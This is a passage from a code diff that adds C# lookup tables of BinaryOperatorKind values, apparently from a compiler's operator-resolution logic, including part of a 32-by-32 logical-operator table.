+ BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object + }, + { + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Object, + BinaryOperatorKind.Object, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + } + }; + + private static readonly BinaryOperatorKind[,] s_logical = new BinaryOperatorKind[32, 32] + { + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Bool, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Bool | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.UInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.UInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.UInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.UInt, + BinaryOperatorKind.UInt, + BinaryOperatorKind.UInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Long, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong, + BinaryOperatorKind.ULong, + BinaryOperatorKind.ULong, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Long, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + 